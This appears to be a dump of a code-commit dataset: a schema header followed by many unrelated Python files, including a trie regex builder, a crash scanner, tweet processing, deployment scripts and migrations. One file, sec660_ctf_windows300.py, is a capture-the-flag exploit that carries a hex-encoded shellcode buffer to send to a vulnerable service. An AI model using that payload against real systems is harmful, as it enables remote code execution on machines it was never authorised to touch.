commit
stringlengths
40
40
subject
stringlengths
1
1.49k
old_file
stringlengths
4
311
new_file
stringlengths
4
311
new_contents
stringlengths
1
29.8k
old_contents
stringlengths
0
9.9k
lang
stringclasses
3 values
proba
float64
0
1
20cebf2b93a310dac4c491b5a59f1a2846f51073
Add basic implementation
triegex/__init__.py
triegex/__init__.py
__all__ = ('Triegex',) class TriegexNode: def __init__(self, char: str, childrens=()): self.char = char self.childrens = {children.char: children for children in childrens} def render(self): if not self.childrens: return self.char return self.char + r'(?:{0})'.for...
Python
0.000002
a4ba072e7a136fe1ebb813a1592bf5c378fd855b
优化了乌龟吃鱼游戏”
turtle_fish_game.py
turtle_fish_game.py
import random class Turtle: energy = 50 x = random.randint(0, 10) y = random.randint(0, 10) def __init__(self, name): self.name = name def moving(self): move = random.choice([-2,-1,1,2]) direction = random.choice(['x','y']) print('Turtle{0} move {1}, o...
Python
0
465956eb780ace1835e08ca2c87895d7ff1326cf
save a legacy script, may have to use again some year
util/wisc_ingest.py
util/wisc_ingest.py
import subprocess import os import glob import mx.DateTime sts = mx.DateTime.DateTime(2011,12,1) ets = mx.DateTime.DateTime(2012,1,1) WANT = ['EAST-CONUS','NHEM-COMP','SUPER-NATIONAL','NHEM-MULTICOMP','WEST-CONUS'] def dodate(now, dir): base = now.strftime("/mesonet/gini/%Y_%m_%d/sat/"+dir) for (d2,bogus,fil...
Python
0
099151db3a18384ebb4b7abc17c1a38567e5d2cb
add crash scan for reporting
utils/crash_scan.py
utils/crash_scan.py
#!/usr/bin/python import subprocess import re import os p = subprocess.Popen(['adb', 'devices'], stdout=subprocess.PIPE) res = p.communicate()[0].split('\n') res.pop(0) devices = [] for li in res: m = re.search('(\w+)', li) if(m is not None): devices.append(m.group(0)) total_crash_num = 0 crash_stat...
Python
0
9ddb89b4b652fb3026632ffd79dea9321f58cc31
bump version in __init__.py
oneflow/__init__.py
oneflow/__init__.py
VERSION = '0.16.4'
VERSION = '0.16.3.1'
Python
0.000023
9d994180a38976939e5da1757303ef8ed76f5e07
bump version in __init__.py
oneflow/__init__.py
oneflow/__init__.py
VERSION = '0.19.1'
VERSION = '0.19'
Python
0.000023
aaca641f968bf12eb2177460f8cf809d62ea3bd4
Add a strict version of itertools.groupby
bidb/utils/itertools.py
bidb/utils/itertools.py
from __future__ import absolute_import import itertools def groupby(iterable, keyfunc, sortfunc=lambda x: x): return [ (x, list(sorted(y, key=sortfunc))) for x, y in itertools.groupby(iterable, keyfunc) ]
Python
0.000003
d2c414576cfcf935ed36ffe2c5fb594911be0832
work on sge module started
sge.py
sge.py
from collections import OrderedDict __author__ = 'sfranky' from lxml import etree fn = '/home/sfranky/PycharmProjects/results/gef_sge1/qstat.F.xml.stdout' tree = etree.parse(fn) root = tree.getroot() def extract_job_info(elem, elem_text): """ inside elem, iterates over subelems named elem_text and extracts ...
Python
0
482a2639911b676bf68dcd529dcc1ffecaaf10ea
Create shortner.py
plugins/shortner.py
plugins/shortner.py
Python
0.000002
5ae58621bd766aeaa6f1838397b045039568887c
Add driver to find plate solutions
platesolve.py
platesolve.py
import babeldix import sys import operator # Print solutions in order of increasing score for plate in sys.argv[1:]: solns = babeldix.Plates.get_solutions(plate) for (soln,score) in sorted(solns.items(), key=operator.itemgetter(1)): print '{0:s} {1:d} {2:s}'.format(plate,score,soln)
Python
0
c1bfe92878edc3f9598a6d97046775cb8d9b0aa0
Make migration for item-visibility change
depot/migrations/0009_auto_20170330_1342.py
depot/migrations/0009_auto_20170330_1342.py
# -*- coding: utf-8 -*- # Generated by Django 1.10.6 on 2017-03-30 13:42 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('depot', '0008_auto_20170330_0855'), ] operations = [ migrations.AlterField(...
Python
0.000006
03ecddce6f34d04957ca5161eb7d776daf02ed47
Add blobdb messages
protocol/blobdb.py
protocol/blobdb.py
__author__ = 'katharine' from base import PebblePacket from base.types import * class InsertCommand(PebblePacket): key_size = Uint8() key = BinaryArray(length=key_size) value_size = Uint16() value = BinaryArray(length=value_size) class DeleteCommand(PebblePacket): key_size = Uint8() key = B...
Python
0
cf0310a7111bdb79b4bbe2a52095c8344778c80c
Add admin.py for protocols
protocols/admin.py
protocols/admin.py
from django.contrib import admin from .models import Protocol admin.site.register(Protocol)
Python
0
98ed7f3f682bf1ba23bb0030aa81e8fff23e54ad
Add harvester
scrapi/harvesters/uow.py
scrapi/harvesters/uow.py
''' Harvester for the Research Online for the SHARE project Example API call: http://ro.uow.edu.au/do/oai/?verb=ListRecords&metadataPrefix=oai_dc ''' from __future__ import unicode_literals from scrapi.base import OAIHarvester class UowHarvester(OAIHarvester): short_name = 'uow' long_name = 'University of W...
Python
0.000012
1b4ca9e9afccfc1492aeea955f2cd3c783f1dc80
Create file_parser.py
file_parser.py
file_parser.py
# -*- coding: utf-8 -*- """ Created on Thu Mar 19 17:03:35 2015 @author: pedro.correia """ from __future__ import division # Just making sure that correct integer division is working import numpy as np # This is numpy,python numerical library import xlrd as xcl # This library allow you to...
Python
0
26d364765cdb0e4e4bf755286d92c305b8dabb0c
Add files via upload
find_qCodes.py
find_qCodes.py
__author__ = 'zoorobmj' import re import csv import os if __name__ == '__main__': folder = "C:\Users\zoorobmj\PycharmProjects\Question_Matrix" # my directory files = [f for f in os.listdir(folder) if f.endswith('.txt')] q_list = [] for f in folder: Qs = open('CoreESP2016.txt', 'r'...
Python
0
5ae45bfbbd6559d344eb641853ef8e83b3ff1c90
Add wowza blueprint
blues/wowza.py
blues/wowza.py
""" Wowza Blueprint =============== **Fabric environment:** .. code-block:: yaml blueprints: - blues.wowza """ from fabric.decorators import task from refabric.api import run, info from refabric.context_managers import sudo from refabric.contrib import blueprints from . import debian __all__ = ['start'...
Python
0
0e53f398bf2cf885393865ec1f899308bb56625b
Add a low-level example for creating views.
examples/create_a_view_low_level.py
examples/create_a_view_low_level.py
""" A low level example: This is how JenkinsAPI creates views """ import requests import json url = 'http://localhost:8080/newView' str_view_name = "ddsfddfd" params = {}# {'name': str_view_name} headers = {'Content-Type': 'application/x-www-form-urlencoded'} data = { "mode": "hudson.model.ListView", #"Submit"...
Python
0
4c73cad398d5dac85b264187f709a860f356b311
Add new file with mixin for mysql
smipyping/_mysqldbmixin.py
smipyping/_mysqldbmixin.py
#!/usr/bin/env python # (C) Copyright 2017 Inova Development Inc. # All Rights Reserved # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # U...
Python
0
206c99420101655d7495000d659d571ef729300b
Add areas spider
soccerway/spiders/areas.py
soccerway/spiders/areas.py
# -*- coding: utf-8 -*- import scrapy from soccerway.items import Match from urllib.parse import urlencode class AreasSpider(scrapy.Spider): name = "areas" allowed_domains = ["http://www.soccerway.mobi"] start_urls = ['http://www.soccerway.mobi/?'] params = { "sport": "soccer", "page": ...
Python
0.000002
171de05d8ea4a31b0f97c38206b44826364d7693
Add http_status.py
netlib/http_status.py
netlib/http_status.py
CONTINUE = 100 SWITCHING = 101 OK = 200 CREATED = 201 ACCEPTED = 202 NON_AUTHORITATIVE_INFORMATION = 203 NO_CONTENT = 204 RESET_CONTENT = 205 PARTIAL_CONTENT...
Python
0.000501
922cdfeeda103cf0ec21ad0e40ca5034dedfc03d
Add fixup_headers script based on that in MOOSE
scripts/fixup_headers.py
scripts/fixup_headers.py
#!/usr/bin/env python2 # This script checks and can optionally update Zapdos source files. # You should always run this script without the "-u" option # first to make sure there is a clean dry run of the files that should # be updated # This is based on a script of the same name in the MOOSE Framework import os, stri...
Python
0.000001
e7a2ec9b38b69a852667cca8d5c7da3ff242ce61
Add processTweets.py
processTweets.py
processTweets.py
import json import re import operator import string import collections from collections import Counter from nltk.corpus import stopwords from nltk.tokenize import word_tokenize #Setup regex to ingore emoticons emoticons_str = r""" (?: [:=;] Eyes [oO\-]? # Nose (optional) [D\)\]\(\]/\\OpP] # Mouth )""" #Setup ...
Python
0.000001
e39bce6ba02ad4ed3c20768c234606afb48ac86a
Solve Largest Product
python/euler008.py
python/euler008.py
#!/bin/python3 import sys from functools import reduce class LargestProduct: def __init__(self, num, num_consecutive_digits): self.num = num self.num_consecutive_digits = num_consecutive_digits def largest_product(self): return max(map(LargestProduct.product, LargestProduct.slices(La...
Python
0.999999
8c14684667b48921987f833f41727d036a3fe9f7
Add SICK evaluation script in python
python/evaluate.py
python/evaluate.py
#!/usr/bin/env python # -*- coding: utf8 -*- import argparse import re from collections import Counter ################################# def parse_arguments(): parser = argparse.ArgumentParser(description="Evaluate predictions against gold labels.") parser.add_argument( 'sys', metavar='FILE', help='File wi...
Python
0
dc4620b46cdca4084fe0b64e3f8e08025e511cea
fix sanitizer
intelmq/bots/experts/sanitizer/sanitizer.py
intelmq/bots/experts/sanitizer/sanitizer.py
from intelmq.lib.bot import Bot, sys from intelmq.bots import utils class SanitizerBot(Bot): def process(self): event = self.receive_message() if event: keys_pairs = [ ( "source_ip", ...
from intelmq.lib.bot import Bot, sys from intelmq.bots import utils class SanitizerBot(Bot): def process(self): event = self.receive_message() if event: keys_pairs = [ ( "source_ip", ...
Python
0.000001
cd239be7ec84ccb000992841700effeb4bc6a508
Add quickstart fabfile.py
streamparse/bootstrap/project/fabfile.py
streamparse/bootstrap/project/fabfile.py
"""fab env:prod deploy:wordcount""" import json from fabric.api import run, put, env as _env from fabric.decorators import task @task def env(e=None): """Activate a particular environment from the config.json file.""" with open('config.json', 'r') as fp: config = json.load(fp) _env.hosts = config...
Python
0.000001
7f7fbb94796134301ee5289fa447e8632f59c912
Create sec660_ctf_windows300.py
sec660_ctf_windows300.py
sec660_ctf_windows300.py
#!/usr/bin/python import socket import sys import time buf = "" buf += "\xd9\xc5\xba\x43\xdc\xd1\x08\xd9\x74\x24\xf4\x5e\x31" buf += "\xc9\xb1\x53\x31\x56\x17\x83\xee\xfc\x03\x15\xcf\x33" buf += "\xfd\x65\x07\x31\xfe\x95\xd8\x56\x76\x70\xe9\x56\xec" buf += "\xf1\x5a\x67\x66\x57\x57\x0c\x2a\x43\xec\x60\xe3\x64" buf +...
Python
0.000001
348b10962f12e1c49ed5c4caf06a838b89b1e5af
Create plasma.py
plasma.py
plasma.py
import geometry
Python
0.000003
602c999c9b5a786623135df1cbf27b529e140d6e
add watermark script
script/watermark.py
script/watermark.py
#!/usr/bin/env python # -*- coding: utf8 -*- import os import random from argparse import ArgumentParser import cv2 import numpy class InvisibleWaterMark: def __init__(self): self.seed = 1 def encode(self, image, watermark, result): # img = cv2.imread(image) # wm = cv2.imread(water...
Python
0.000001
bd05625c2e0a164f0b720c8c13fb06540d4fcdb9
Create ica_demo.py (#496)
scripts/ica_demo.py
scripts/ica_demo.py
# Blind source separation using FastICA and PCA # Author : Aleyna Kara # This file is based on https://github.com/probml/pmtk3/blob/master/demos/icaDemo.m from sklearn.decomposition import PCA, FastICA import numpy as np import matplotlib.pyplot as plt import pyprobml_utils as pml def plot_signals(signals, suptitle, ...
Python
0
a8add82f2f9092d07f9ef40420c4b303700c912d
add a 'uniq' function
lib/uniq.py
lib/uniq.py
# from http://www.peterbe.com/plog/uniqifiers-benchmark def identity(x): return x def uniq(seq, idfun=identity): # order preserving seen = {} result = [] for item in seq: marker = idfun(item) if marker in seen: continue seen[marker] = True result.appen...
Python
0.999997
c57c672aae98fb5b280f70b68ac27fc2d94a243f
Add test class to cover the RandomForestClassifier in Go
tests/estimator/classifier/RandomForestClassifier/RandomForestClassifierGoTest.py
tests/estimator/classifier/RandomForestClassifier/RandomForestClassifierGoTest.py
# -*- coding: utf-8 -*- from unittest import TestCase from sklearn.ensemble import RandomForestClassifier from tests.estimator.classifier.Classifier import Classifier from tests.language.Go import Go class RandomForestClassifierGoTest(Go, Classifier, TestCase): def setUp(self): super(RandomForestClass...
Python
0
e045a7bd1c3d791de40412bafa62702bee59132e
Add Python solution for day 15.
day15/solution.py
day15/solution.py
data = open("data", "r").read() ingredients = [] for line in data.split("\n"): name = line.split(": ")[0] properties = line.split(": ")[1].split(", ") props = { 'value': 0 } for prop in properties: props[prop.split(" ")[0]] = int(prop.split(" ")[1]) ingredients.append(props) def getPropertyScore(property,...
Python
0.000004
df68e5aa8ab620f03c668ae886ed8a1beef3c697
Add HKDF-SHA256 implementation.
hkdf-sha256.py
hkdf-sha256.py
#!/usr/bin/python # -*- coding: utf-8 -*- from Crypto.Hash import HMAC from Crypto.Hash import SHA256 import obfsproxy.transports.base as base import math class HKDF_SHA256( object ): """ Implements HKDF using SHA256: https://tools.ietf.org/html/rfc5869 This class only implements the `expand' but not the `extra...
Python
0
7cf5f0a4e2b7c8e83f26ea3f9170c5ee0e7bbdbb
make it easier to compare/validate models
parserator/spotcheck.py
parserator/spotcheck.py
import pycrfsuite def compareTaggers(model1, model2, string_list, module_name): """ Compare two models. Given a list of strings, prints out tokens & tags whenever the two taggers parse a string differently. This is for spot-checking models :param tagger1: a .crfsuite filename :param tagger2: anothe...
Python
0.000001
d4adf3e0e177e80ce7bc825f1cb4e461e5551b2f
Add basic configuration support to oonib
oonib/config.py
oonib/config.py
from ooni.utils import Storage import os # XXX convert this to something that is a proper config file main = Storage() main.reporting_port = 8888 main.http_port = 8080 main.dns_udp_port = 5354 main.dns_tcp_port = 8002 main.daphn3_port = 9666 main.server_version = "Apache" #main.ssl_private_key = /path/to/data/private....
Python
0
2d76f1375ef1eb4d7ea1e8735d9ff55cfd12cea0
introducing inline echo. print to stdout without the Fine newline
inline_echo.py
inline_echo.py
#!/usr/bin/env python import sys import os def puaq(): # Print Usage And Quit print("Usage: %s string_content" % os.path.basename(__file__)) sys.exit(1) if __name__ == "__main__": if len(sys.argv) < 2: puaq() sys.stdout.write(sys.argv[1])
Python
0.999926
58f05fe7736ce387bb8086128bc9de32b8cd6a59
Add simplify.py
livesync/indico_livesync/simplify.py
livesync/indico_livesync/simplify.py
# This file is part of Indico. # Copyright (C) 2002 - 2014 European Organization for Nuclear Research (CERN). # # Indico is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 3 of the # License, or (a...
Python
0.000725
6a65d102bfcd667c382704ea3430d76faaa1b3d1
Add tests
tests/test_salut.py
tests/test_salut.py
import unittest from mock import MagicMock import socket import gevent import gevent.socket from otis.common.salut import Announcer, Browser class TestSalut(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def test_announce(self): announcer = Announcer('Test',...
Python
0.000001
f65a6c12dd615d235a306b130ebd63358429e8c6
Create boss.py
boss.py
boss.py
# -*- coding: utf-8 -*- import urllib import urllib2 import re from cookielib import CookieJar reg = re.compile(r'href="\.\/in[^"\\]*(?:\\.[^"\\]*)*"') stager = re.compile(r'>.+100.') answers = {1: '/index.php?answer=42', 2: '/index.php?answer=bt'} wrong = set() cj = CookieJar() opener = urllib2.build_opener(urll...
Python
0.000002
3014e7cd47b87eaaf4cf793227a0bdba0a961494
Determine `@local` function context from DistArrayProxies.
distarray/odin.py
distarray/odin.py
""" ODIN: ODin Isn't Numpy """ from IPython.parallel import Client from distarray.client import DistArrayContext, DistArrayProxy from itertools import chain # Set up a global DistArrayContext on import _global_client = Client() _global_view = _global_client[:] _global_context = DistArrayContext(_global_view) context...
""" ODIN: ODin Isn't Numpy """ from IPython.parallel import Client from distarray.client import DistArrayContext, DistArrayProxy from operator import add # Set up a global DistArrayContext on import _global_client = Client() _global_view = _global_client[:] _global_context = DistArrayContext(_global_view) context = ...
Python
0
df7235e13c14f13dd27ede6c098a9b5b80b4b297
Add test_functions
neuralmonkey/tests/test_functions.py
neuralmonkey/tests/test_functions.py
#!/usr/bin/env python3 """Unit tests for functions.py.""" # tests: mypy, lint import unittest import tensorflow as tf from neuralmonkey.functions import piecewise_function class TestPiecewiseFunction(unittest.TestCase): def test_piecewise_constant(self): x = tf.placeholder(dtype=tf.int32) y = p...
Python
0.000018
b2acb7dfd7dc08afd64d80f25ab0a76469e5fff6
add import script for North Lanarkshire
polling_stations/apps/data_collection/management/commands/import_north_lanarkshire.py
polling_stations/apps/data_collection/management/commands/import_north_lanarkshire.py
from data_collection.management.commands import BaseScotlandSpatialHubImporter """ Note: This importer provides coverage for 173/174 districts due to incomplete/poor quality data """ class Command(BaseScotlandSpatialHubImporter): council_id = 'S12000044' council_name = 'North Lanarkshire' elections = ['loc...
Python
0
cc907c9b8f22bd08ed6460e5e99ebb4e8ce5a499
add import script for Perth and Kinross
polling_stations/apps/data_collection/management/commands/import_perth_and_kinross.py
polling_stations/apps/data_collection/management/commands/import_perth_and_kinross.py
from data_collection.management.commands import BaseScotlandSpatialHubImporter """ Note: This importer provides coverage for 104/107 districts due to incomplete/poor quality data """ class Command(BaseScotlandSpatialHubImporter): council_id = 'S12000024' council_name = 'Perth and Kinross' elections = ['loc...
Python
0
a9ed1a52a552d76246028d892cc6d01e5ac069cf
Move sidecar to api
api/events/monitors/sidecar.py
api/events/monitors/sidecar.py
# -*- coding: utf-8 -*- from __future__ import absolute_import, division, print_function import logging import os import time from django.conf import settings from polyaxon_k8s.constants import PodLifeCycle from polyaxon_k8s.manager import K8SManager from api.config_settings import CeleryPublishTask from api.celery...
Python
0.000001
6b81d938ed99a943e8e81816b9a013b488d4dfd8
Add util.py to decode wordpiece ids in Transformer
fluid/neural_machine_translation/transformer/util.py
fluid/neural_machine_translation/transformer/util.py
import sys import re import six import unicodedata # Regular expression for unescaping token strings. # '\u' is converted to '_' # '\\' is converted to '\' # '\213;' is converted to unichr(213) # Inverse of escaping. _UNESCAPE_REGEX = re.compile(r"\\u|\\\\|\\([0-9]+);") # This set contains all letter and number chara...
Python
0.000002
04e488fd1a0b08519aa806bfa598d7fc57452d76
split scheddata from scheduler
pyworker/scheddata.py
pyworker/scheddata.py
import time class scheddata(object): """ _srv = { "srvname1": { "begintime": 1460689440, "interval": 1, # measured by minutes "maxcount": 4, "processing": { nexttime1: [srvlist, occupied], nexttime2: [srvlist, occupied], ...
Python
0.000002
b8784640d67bbf27c3c2ecd5a684d04d49af1f00
add datacursors module
datacursors.py
datacursors.py
# This module offers two Cursors: # * DataCursor, # where you have to click the data point, and # * FollowDotCursor, # where the bubble is always on the point # nearest to your pointer. # # All the code was copied from # http://stackoverflow.com/a/13306887 # DataCursor Example # x=[1,2,3,4,5] # y=[...
Python
0.000001
e69da5fb3550703c466cd8ec0e084e131fb97150
add first small and simple tests about the transcoder manager
coherence/test/test_transcoder.py
coherence/test/test_transcoder.py
from twisted.trial.unittest import TestCase from coherence.transcoder import TranscoderManager from coherence.transcoder import (PCMTranscoder, WAVTranscoder, MP3Transcoder, MP4Transcoder, MP2TSTranscoder, ThumbTranscoder) known_transcoders = [PCMTranscoder, WAVTranscoder, MP3Transcoder, MP4Transcoder, ...
Python
0
d1958e834182fd7d43b97ea17057cc19dff21ca1
Test addr response caching
test/functional/p2p_getaddr_caching.py
test/functional/p2p_getaddr_caching.py
#!/usr/bin/env python3 # Copyright (c) 2020 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test addr response caching""" import time from test_framework.messages import ( CAddress, NODE_NETW...
Python
0.000201
9698e473615233819f886c5c51220d3a213b5545
Add initial prototype
script.py
script.py
#!/usr/bin/env python import sys import subprocess as subp cmd = '' if len(sys.argv) <= 1 else str(sys.argv[1]) if cmd in ['prev', 'next']: log = subp.check_output(['git', 'rev-list', '--all']).strip() log = [line.strip() for line in log.split('\n')] pos = subp.check_output(['git', 'rev-parse', 'HEAD'...
Python
0.000002
6500bc2682aeecb29c79a9ee9eff4e33439c2b49
Add verifica_diff script
conjectura/teste/verifica_diff.py
conjectura/teste/verifica_diff.py
from sh import cp, rm, diff import sh import os SURSA_VERIFICATA = 'conjectura-inturi.cpp' cp('../' + SURSA_VERIFICATA, '.') os.system('g++ ' + SURSA_VERIFICATA) filename = 'grader_test' for i in range(1, 11): print 'Testul ', i cp(filename + str(i) + '.in', 'conjectura.in') os.system('./a.out') print diff('...
Python
0.000001
5d769d651947384e18e4e9c21a10f86762a3e950
add more tests
test/test_api/test_api_announcement.py
test/test_api/test_api_announcement.py
# -*- coding: utf8 -*- # This file is part of PYBOSSA. # # Copyright (C) 2017 Scifabric LTD. # # PYBOSSA is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your op...
Python
0
18b22600f94be0e6fedd6bb202753736d61c85e6
Add alternative settings to make test debugging easier
runserver_settings.py
runserver_settings.py
from django.conf import global_settings import os SITE_ID = 1 TIME_ZONE = 'Europe/Amsterdam' PROJECT_ROOT = os.path.join(os.path.dirname(__file__)) MEDIA_ROOT = os.path.join(PROJECT_ROOT, 'bluebottle', 'test_files', 'media') STATIC_ROOT = os.path.join(PROJECT_ROOT, 'bluebottle', 'test_files', 'assets') STATICI18N_...
Python
0
3a1f37ea0e46ea396c2ce407a938677e86dc6655
Adding a test Hello World
hello_world.py
hello_world.py
print "Hello World !"
Python
0.999909
a1f411be91a9db2193267de71eb52db2f334641b
add a file that prints hello lesley
hellolesley.py
hellolesley.py
#This is my hello world program to say hi to Lesley print 'Hello Lesley'
Python
0.000258
03b80665f6db39002e0887ddf56975f6d31cc767
Create __init__.py
server/__init__.py
server/__init__.py
Python
0.000429
33581b5a2f9ca321819abfd7df94eb5078ab3e7c
Add domain.Box bw compatibility shim w/deprecation warning
lepton/domain.py
lepton/domain.py
############################################################################# # # Copyright (c) 2008 by Casey Duncan and contributors # All Rights Reserved. # # This software is subject to the provisions of the MIT License # A copy of the license should accompany this distribution. # THE SOFTWARE IS PROVIDED "AS IS", W...
############################################################################# # # Copyright (c) 2008 by Casey Duncan and contributors # All Rights Reserved. # # This software is subject to the provisions of the MIT License # A copy of the license should accompany this distribution. # THE SOFTWARE IS PROVIDED "AS IS", W...
Python
0
03fdc41437f96cb1d6ba636c3a5d8c5dc15430b1
Create requirements.py
requirements.py
requirements.py
Python
0
ab99f855f708dec213c9eea1489643c01526e0b0
Add unittests for bridgedb.parse.versions module.
lib/bridgedb/test/test_parse_versions.py
lib/bridgedb/test/test_parse_versions.py
# -*- coding: utf-8 -*- #_____________________________________________________________________________ # # This file is part of BridgeDB, a Tor bridge distribution system. # # :authors: Isis Lovecruft 0xA3ADB67A2CDB8B35 <isis@torproject.org> # please also see AUTHORS file # :copyright: (c) 2014, The Tor Proje...
Python
0
caef0059d803fc885d268ccd66b9c70a0b2ab129
Create Exercise4_VariablesAndNames.py
Exercise4_VariablesAndNames.py
Exercise4_VariablesAndNames.py
# Exercise 4 : Variables and Names cars = 100 space_in_a_car = 4.0 drivers = 30 passengers = 90 cars_not_driven = cars - drivers cars_driven = drivers carpool_capacity = cars_driven * space_in_a_car average_passengers_per_cars = passengers / cars_driven print("There are", cars, "cars available.") print("There are onl...
Python
0
7b00bbb576df647a74b47b601beff02af308d16a
添加 输出到 MySQL
src/target/mysql.py
src/target/mysql.py
# -*- coding: utf-8 -*- # Author: mojiehua # Email: mojh@ibbd.net # Created Time: 2017-07-18 17:38:44 import pymysql class Target: """ 写入 MySQL 数据库,需要预先创建表,字段应与输出的字段一致 支持的配置参数 params 如下: host: MySQL 主机地址 port: MySQL 端口(可选参数,默认3306) user: 用户名 passwd: 密码 db: 数据库 table: 表名 charse...
Python
0.000001
1a4db50c848a3e7bb1323ae9e6b26c884187c575
Add my fibonacci sequence homework.
training/level-1-the-zen-of-python/dragon-warrior/fibonacci/rwharris-nd_fibonacci.py
training/level-1-the-zen-of-python/dragon-warrior/fibonacci/rwharris-nd_fibonacci.py
def even_fibonacci_sum(a:int,b:int,max:int) -> int: temp = 0 sum = 0 while (b <= max): if (b%2 == 0): sum += b temp = a + b a = b b = temp print(sum) even_fibonacci_sum(1,2,4000000)
Python
0.000003
f14c483283984b793f1209255e059d7b9deb414c
Add in the db migration
migrations/versions/8081a5906af_.py
migrations/versions/8081a5906af_.py
"""empty message Revision ID: 8081a5906af Revises: 575d8824e34c Create Date: 2015-08-25 18:04:56.738898 """ # revision identifiers, used by Alembic. revision = '8081a5906af' down_revision = '575d8824e34c' from alembic import op import sqlalchemy as sa def upgrade(): ### commands auto generated by Alembic - pl...
Python
0.000001
2dff474fe7723ebc7d7559fc77791924532d58db
reorder imports for pep8
boltons/timeutils.py
boltons/timeutils.py
# -*- coding: utf-8 -*- import bisect import datetime from datetime import timedelta from strutils import cardinalize def total_seconds(td): """\ A pure-Python implementation of Python 2.7's timedelta.total_seconds(). Accepts a timedelta object, returns number of total seconds. >>> td = datetime.ti...
# -*- coding: utf-8 -*- import datetime from datetime import timedelta from strutils import cardinalize def total_seconds(td): """\ A pure-Python implementation of Python 2.7's timedelta.total_seconds(). Accepts a timedelta object, returns number of total seconds. >>> td = datetime.timedelta(days=4...
Python
0
c86835059c6fcc657290382e743922b14e7e7656
add server
server.py
server.py
from flask import Flask, request app = Flask(__name__) @app.route('/') def root(): print(request.json) return "hi" if __name__ == '__main__': app.run(debug=True, port=5000)
Python
0.000001
a4bc16a375dc30e37034993bd07d3014f3b936e1
Fix corrupt abstract field data
migrations/versions/201610041721_8b5ab7da2d5_fix_corrupt_abstract_field_data.py
migrations/versions/201610041721_8b5ab7da2d5_fix_corrupt_abstract_field_data.py
"""Fix corrupt abstract field data Revision ID: 8b5ab7da2d5 Revises: 52d970fb6a74 Create Date: 2016-10-04 17:21:19.186125 """ import sqlalchemy as sa from alembic import op # revision identifiers, used by Alembic. revision = '8b5ab7da2d5' down_revision = '52d970fb6a74' def upgrade(): # We don't want any dicts...
Python
0.000414
402911310eee757a0dd238466f11477c98c0748b
Add NARR solar radiation point sampler
scripts/coop/narr_solarrad.py
scripts/coop/narr_solarrad.py
""" Sample the NARR solar radiation analysis into estimated values for the COOP point archive 1 langley is 41840.00 J m-2 is 41840.00 W s m-2 is 11.622 W hr m-2 So 1000 W m-2 x 3600 is 3,600,000 W s m-2 is 86 langleys """ import netCDF4 import datetime import pyproj import numpy import iemdb import sys COOP =...
Python
0
e4e572925e987fba59c3421a80d9bc247e04026d
add scraper of NDBC metadata
scripts/dbutil/scrape_ndbc.py
scripts/dbutil/scrape_ndbc.py
"""See if we can get metadata dynmically from NDBC var currentstnlat = 29.789; var currentstnlng = -90.42; var currentstnname = '8762482 - West Bank 1, Bayou Gauche, LA'; <b>Site elevation:</b> sea level<br /> """ import requests import psycopg2 from pyiem.reference import nwsli2country, nwsli2...
Python
0
ef745ed086ebd8e77e158c89b577c77296630320
Add solution for 118 pascals triangle
Python/118_Pascals_Triangle.py
Python/118_Pascals_Triangle.py
class Solution(object): def generate(self, numRows): """ :type numRows: int :rtype: List[List[int]] """ res = [[1],[1,1]] if numRows == 0: return [] elif numRows == 1: return [[1]] else: old = [1,1] for i in xrange(n...
Python
0.000864
af7abc0fc476f7c048790fc8b378ac1af8ae8b33
Create top-k-frequent-words.py
Python/top-k-frequent-words.py
Python/top-k-frequent-words.py
# Time: O(n + klogk) on average # Space: O(n) # Given a non-empty list of words, return the k most frequent elements. # # Your answer should be sorted by frequency from highest to lowest. # If two words have the same frequency, then the word with the lower alphabetical order comes first. # # Example 1: # Input: ["i",...
Python
0.999054
60841e5b5a5f7e89c986fa202633ccf1a0f35315
Add main module
src/validator.py
src/validator.py
# -*- coding: utf-8 -*- # # This module is part of the GeoTag-X project validator tool. # # Author: Jeremy Othieno (j.othieno@gmail.com) # # Copyright (c) 2016 UNITAR/UNOSAT # # The MIT License (MIT) # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documen...
Python
0.000001
344ee4f5aafa19271a428d171f14b52d26a3f588
Create solver.py
solver.py
solver.py
from models import Table from utils import sector_counter, clearscreen #start with blank screen clearscreen() # building the blank sudoku table sudoku = Table() # Having the user enter the sudoku puzzle sudoku.get_table() print("This is your sudoku puzzle:") print(sudoku) num = 1 row = 0 col = 0 counter = 0 max_tries...
Python
0
8752c36c89e3b2a6b012761d1b24183391245fea
Create Node.py
service/Node.py
service/Node.py
######################################### # Node.py # description: embedded node js # categories: [programming] # possibly more info @: http://myrobotlab.org/service/Node ######################################### # start the service node = Runtime.start("node","Node")
Python
0.000003
3874a618fa30787b48578430d8abcdc29549102d
solve problem no.1991
01xxx/1991/answer.py
01xxx/1991/answer.py
from typing import Dict class Node: def __init__(self, value): self.value: str = value self.left: Node = None self.right: Node = None def preorder_traversal(self): print(self.value, end='') if self.left: self.left.preorder_traversal() if ...
Python
0.017639
f77b45b06f88912d154a5fd5b04d69780618110b
Fix migration [WAL-616]
src/nodeconductor_openstack/openstack_tenant/migrations/0024_add_backup_size.py
src/nodeconductor_openstack/openstack_tenant/migrations/0024_add_backup_size.py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations from nodeconductor_openstack.openstack_tenant.models import Backup def add_backup_size_to_metadata(apps, schema_editor): for backup in Backup.objects.iterator(): backup.metadata['size'] = backup.instance.siz...
Python
0
41d6401780b63a6d835ad48a40df183d6748c99a
add moe plotter utility
smt/extensions/moe_plotter.py
smt/extensions/moe_plotter.py
import six import numpy as np from matplotlib import colors import matplotlib.pyplot as plt class MOEPlotter(object): def __init__(self, moe, xlimits): self.moe = moe self.xlimits = xlimits ################################################################################ def plot_...
Python
0
393735aaf76b6ddf773a06a72f0872334e56557e
add litgtk.py file
cmd/litgtk/litgtk.py
cmd/litgtk/litgtk.py
#!/usr/bin/env python import websocket # `pip install websocket-client` import json import pygtk pygtk.require('2.0') import gtk s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # global for socket connection def getBal(): rpcCmd = { "method": "LitRPC.Bal", "params": [{ }] } rpcCmd.update({"...
Python
0
398a6d23266e52436e6b8efd9d7ab053f490eb45
add a lib to support requests with retries
